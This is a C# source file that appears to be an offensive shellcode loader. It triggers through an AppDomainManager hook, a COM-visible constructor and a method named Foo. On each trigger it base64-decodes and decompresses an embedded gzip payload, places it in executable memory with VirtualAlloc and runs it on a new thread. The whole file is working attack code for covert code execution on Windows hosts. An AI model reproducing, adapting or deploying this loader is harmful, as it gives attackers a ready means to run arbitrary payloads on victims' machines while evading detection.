using System; using System.IO; using System.IO.Compression; using System.Runtime.InteropServices; public sealed class MyAppDomainManager : AppDomainManager { public override void InitializeNewDomain(AppDomainSetup appDomainInfo) { ProgramNamespace.Program.Execute(); } } namespace ProgramNamespace { [ComVisible(true)] public class Program { public Program() { Program.Execute(); } public void Foo(string command) { Program.Execute(); } [DllImport("kernel32")] private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr param, uint dwCreationFlags, ref uint lpThreadId); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr hHandle); [DllImport("kernel32")] private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); public static long CopyTo(Stream source, Stream destination) { byte[] array = new byte[2048]; long num = 0L; int num2; while ((num2 = source.Read(array, 0, array.Length)) > 0) { destination.Write(array, 0, num2); num += (long)num2; } return num; } public static byte[] DecompressString(string compressedText) { byte[] buffer = Convert.FromBase64String(compressedText); byte[] result; using (MemoryStream memoryStream = new MemoryStream(buffer)) { using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) { using (MemoryStream memoryStream2 = new MemoryStream()) { Program.CopyTo(gzipStream, memoryStream2); result = memoryStream2.ToArray(); } } } return result; } public static bool Execute() { string compressedText = "H4sIAGZtZWQC//vj0fzkw4sDDAwMjoGOAUGBYR6Gl1I9uoMSgFgCiBU8uosCPPi3e3n5Gp70MDywxiaxhklHwfHgSV5HxoOP3gY5BoJUdTvZeDBe6G7oABrk0XqgJB3IC+j2kHDpdlDwZLzwOMzj/0nHbpMOD8ZrUHOgJlg8KP3ow+yjwuFqebH0RgRQvQpQfZpjN48HkC0DZDt2swC1XXCMcIyIi4wCUpGOUR7NbxQcg/4/AHKiPLqFXob///8/1mMXIwMEePT2MgLZjrsMu/Pb/1/d/Y/P6JXjrmVT9879f9Wj+YiGDVsNV8PvB6Wsu92Fi/KzGCIdO2/9v5qcmJPMAACA90axEAEAAA=="; byte[] array = Program.DecompressString(compressedText); IntPtr intPtr = Program.VirtualAlloc(IntPtr.Zero, (UIntPtr)((ulong)((long)array.Length)), Program.MEM_COMMIT, Program.PAGE_EXECUTE_READWRITE); Marshal.Copy(array, 0, intPtr, array.Length); IntPtr hHandle = IntPtr.Zero; uint num = 0U; hHandle = Program.CreateThread(0U, 0U, intPtr, IntPtr.Zero, 0U, ref num); Program.WaitForSingleObject(hHandle, uint.MaxValue); Program.CloseHandle(hHandle); Program.VirtualFree(intPtr, 0U, Program.MEM_RELEASE); return true; } private static uint MEM_COMMIT = 4096U; private static uint PAGE_EXECUTE_READWRITE = 64U; private static uint MEM_RELEASE = 32768U; } }